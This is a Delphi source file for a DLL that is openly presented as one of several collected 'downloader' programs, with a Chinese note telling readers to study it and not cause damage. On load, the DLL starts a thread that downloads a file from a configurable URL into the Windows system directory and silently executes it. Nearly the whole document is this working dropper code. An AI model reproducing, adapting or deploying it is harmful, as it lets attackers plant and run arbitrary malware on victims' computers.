kedll.dpr

我收集的几个下载者代码 大家看看学习学习就好了别搞破坏哦

library KeDLL;

uses
  Windows;


const
  Buffer ='UXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';


var
    minirThread:THandle;

function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;
                 stdcall; external 'kernel32.dll' name 'WinExec';

function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
                           StatusCB: Pointer): LongWord;
                           stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';

function IntToStr(const Value: Integer): string; //整数转换为AnsiString字符串
var
  S: string[11];
begin
  Str(Value, S);
  Result := S;
end;

function GetSystemPath: string; //系统目录
var
  Path: array[0..MAX_PATH - 1] of Char;
begin
  GetSystemDirectory(Path, SizeOf(Path));
  Result := string(Path) + '\';
end;

procedure miniratMain;stdcall;
var
  i: integer;
  Temp, ii: string;
  Ext: string;
  TheName: string;
begin
  if Buffer='' then Exit;
  Temp := PChar(Buffer);
  ii := copy(temp, 1, 1);
  Delete(Temp, 1, 1);
  Ext := copy(Temp, Length(temp) - 3, 4);
  TheName := 'Down' + '(' + inttostr(i) + ')' + Ext;
  UrlDownloadToFile(nil, PChar(Buffer), PChar(GetSystemPath+TheName), 0, nil);
  WinExec(PChar(GetSystemPath+TheName), SW_SHOWDEFAULT);
End;


begin
  CreateThread(nil, 0, @miniratMain, nil, 0, minirThread);
end.